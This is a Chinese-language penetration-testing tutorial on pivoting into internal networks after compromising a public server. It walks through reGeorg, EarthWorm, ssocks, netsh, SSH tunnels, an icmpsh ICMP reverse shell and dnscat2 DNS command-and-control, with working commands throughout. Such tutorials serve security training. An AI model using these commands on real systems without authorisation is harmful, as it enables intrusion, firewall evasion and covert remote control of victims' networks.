0x00 简介
本文主要介绍一下端口转发工具。其中大部分内容均是从各位师傅那里转载过来的,最后会有标注相应的原文地址。
文中工具下载地址:https://github.com/Brucetg/Pentest-tools
0x01 reGeorg结合proxychains代理链
1.1 简介
在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
那又有很多人会问了,为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?
大部分时候我们获取到的服务器的权限不够,无法直接登录。 如果直接登录服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组件,会导致渗透受阻。 而且远程登录会留下比较明显的痕迹 ,因此内网转发是我们最好的选择,在本地进行操作是最方便的。
reGeory适用于公网服务器只开放了80端口的情况。
reGeorg是用python
写的利用Web进行代理的工具,流量只通过http
传输,也就是http
隧道。
1.2 使用方法
现在有这么一个环境,我们获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息。
根据公网服务器网站是哪种脚本类型上传哪种类型的脚本,这里我搭建的是php环境,所以上传php脚本
然后,我们在浏览器访问我们上传的 php 脚本,上传路径我们一定得知道,这里我直接上传到网站根目录了。如果看到下面的Georg says, \'All seems fine\' 表示一切正常!
然后我们在攻击机上执行如下语句:
python reGeorgSocksProxy.py -p 1080 -u http://100.100.10.12/tunnel.nosocket.php
#表示本地1080端口的流量都转发给指定的那个url
vim /etc/proxychains.conf
socks5 127.0.0.1 1080
#配置proxychains代理链的配置文件,将代理设置成本机的1080端口
proxychains curl 192.168.10.19
#然后命令前面加上`proxychains`即可
所以我们流量的走向是: 流量->本地1080端口->web服务器的80端口(通过我们上传的php文件进行流量转发)->内网服务器->web服务器的80端口->本地1080端口
如图,可以看到我们已经可以访问内网的Web服务器。那么,我们就可以进一步渗透了!
这里需要主要,使用nmap程序时应该注意的点:
#不能使用nmap默认的扫描方式,不能使用-A -T4参数
proxychains nmap -Pn -sT -p 1-10000 -v 192.168.10.19
0x02 lcx端口转发
以前自己有总结过,直接放链接了:
https://www.cnblogs.com/-mo-/p/11537339.html
0x03 EarthWorm结合proxychains代理链
3.1 简介
EW 是一套便携式的网络穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用
不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用,跨平台,任何平台都可以轻松使用!
3.2 使用方法
现在有这么一个环境,我们获取到了位于公网Web服务器的权限,内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,访问和探测内网Web服务器的信息。
不管是linux还是windows系统,Earthworm的包都是一个,如图上面。直接进入包里面,选择对应的程序即可执行
3.3 EW正向代理
Web服务器(被控制的主机)的设置:
如果是Linux系统
./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
如果是Windows系统
ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口
攻击击的设置:
#Linux系统
#配置proxychains代理链的配置文件,将代理设置成100.100.10.12的1080端口
vim /etc/proxychains.conf
socks5 100.100.10.12 1080
#通过代理去访问内网主机
proxychains curl 192.168.10.19
#Windows系统
#浏览器中设置代理为 100.100.10.12 的1080端口,或者利用 Proxifier、sockscap64 设置全局代理
3.4 EW反向代理
Web服务器(被控制的主机)的设置:
#Linux系统:
./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888
#将本机的流量全部转发到100.100.10.13的8888端口
#Windows系统:
ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888
#将本机的流量全部转发到100.100.10.13的8888端口
攻击击的设置:
#Linux系统
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
#配置proxychains代理链的配置文件,将代理设置成127.0.0.1的1080端口
vim /etc/proxychains.conf
socks5 127.0.0.1 1080
#通过代理去访问内网主机
proxychains curl 192.168.10.19
#Windows系统
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
#将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier、sockscap64 设置全局代理
0x04 Ssocks正向代理(Linux)
4.1 简介
Ssocks是Linux下一款端口转发的工具,而proxychains代理链是Linux下一款代理设置工具。由于Ssocks不稳定,所以不建议使用。
现在有这么一个环境,我们获取到了位于公网Web服务器的shell,该web服务器是Linux系统,内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,访问和探测内网Web服务器的信息。
首先,我们的主机和公网的Web服务器都得安装上Ssocks。
安装Ssocks的话,直接安装包安装,软件会被安装在 /usr/local/bin目录下,所以我们得去该目录执行命令。
4.2 正向代理
Web服务器(被控制的主机)的操作:
./rssocks -vv -s 100.100.10.13:9999
#接收100.100.10.13的9999端口的流量
攻击机的操作:
#配置proxychains代理链的配置文件,将代理设置成socks5 127.0.0.1 的8080端口
vim /etc/proxychains.conf
socks5 127.0.0.1 8080
#然后将本地的1080端口的流量转发到9999端口
./rcsocks -l 1080 -p 9999 -vv
#通过代理去访问内网主机
proxychains curl 192.168.10.19
0x05 Netsh实现端口转发
5.1 简介
Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射。
现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用Netsh实现一个端口映射,只要我们访问中间Web服务器公网地址的指定端口,就相当于我们访问内网Web服务器的80端口。
5.2 使用方法
Web服务器(被控制的主机)的配置
netsh interface portproxy add v4tov4 listenaddress=100.100.10.11 listenport=8080 connectaddress=192.168.10.19 connectport=80
#新建一个端口映射,将100.100.10.11的8080端口和192.168.10.19的80端口做个映射
netsh interface portproxy show all
#查看端口映射
netsh interface portproxy delete v4tov4 listenaddress=100.100.10.11 listenport=8080
#删除端口映射
那么,我们通过访问Web服务器的公网地址的8080端口就可以访问内网中的Web服务器了。
5.3 Netsh实现SSH到内网主机(远程端口转发)
现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。
于是,我们还可以利用windows自带的Netsh来进行22端口的转发。
在公网windows服务器上的操作:
netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=2222 connectaddress=192.168.10.129 connectport=22
#监听100.100.10.14的2222端口,映射到192.168.10.129 的22端口上
所以,我们ssh连接到公网服务器的2222端口即可
5.4 Netsh实现3389到内网主机(远程端口转发)
现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。
于是,我们还可以利用Windows自带的Netsh来进行3389端口的映射。
在公网windows服务器上的操作:
netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=3340 connectaddress=192.168.10.152 connectport=3389
于是,我们远程3389连接公网服务器100.100.10.14的3340端口
5.5 Netsh实现本地端口转发
现在我们有这么一个环境,我们获得了公网服务器的权限,并且获得了该服务器的账号密码。
该服务器的3389端口也开放着,但是只对内开放,所以我们现在就需要做本地端口映射,将3389端口的流量映射到其他端口。
该服务器的操作:
netsh interface portproxy add v4tov4 listenaddress=192.168.10.15 listenport=13389 connectaddress=192.168.10.15 connectport=3389
只需要远程连接该主机的13389端口即可:
0x06 ssh隧道代理转发
6.1 简介
ssh有三个强大的端口转发命令,分别是本地转发,远程转发,动态转发。
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port2:127.0.0.1:port1 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
socket代理:
ssh -qTfnN -D port remotehost
6.2 参数详解
-C Enable compression 压缩数据传输
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了
-L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
-g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接
6.3 使用方法
1.ssh本地转发
远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。
ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121
2.ssh远程转发
内网的服务器,外网不能直接访问,使用远程转发,将内外的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
现在在192.168.153.142访问127.0.0.1:81就是访问内网的端口。
- ssh动态转发socks代理
把远程主机设置成代理,来代理访问不能访问的资源。在本地机器上分配了一个监听端口,一旦这个端口上有了连接,该连接就经过ssh隧道转发出去,根据应用程序的协议可以判断出远程主机将和哪里连接。
ssh -qTfnN -D 1080 root@45.32.31.121
0x07 ICMP隧道代理转发
7.1 简介
ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的,要判断是否使用ICMP隧道,我们只需要关注一件事:可以ping通一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道,缺点是需要root/administrator权限
7.2 使用方法
icmpsh
具有公网ip的vps上:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 公网ip地址 内网目标机器ip
目标机器:
icmpsh.exe -t 公网ip地址 -d 500 -b 30 -s 128
就会在具有公网ip的主机上收到一个cmd shell
0x08 DNS隧道
8.1 简介
不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。
8.2 使用方法
Dnscat2
github项目地址:https://github.com/iagox86/dnscat2
Dnscat2通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。他还支持端口转发
Server端:
ruby ./dnscat2.rb tunneldomain.com
Client端:
./dnscat2 tunneldomain.com
收到Server端的连接后,可以使用windows命令查看活动会话:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
1 :: command session (debian)
2 :: sh (debian) [*]
要启动端口转发,请选择一个命令会话session -i:
dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
\'ping\'! For a full list of clients, try \'help\'.
command session (debian) 1>
使用 listen [lhost:]lport rhost:rport 命令转发端口:
command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80
这将绑定靶机上的8080端口,并将所有链接转发到10.0.0.1:80上。
具体参考:通过DNS协议绕过防火墙
0x09 参考链接
浅谈内网端口转发
通过DNS协议绕过防火墙
https://www.cnblogs.com/bmjoker/p/10264148.html
https://blog.csdn.net/qq_36119192/article/details/84568266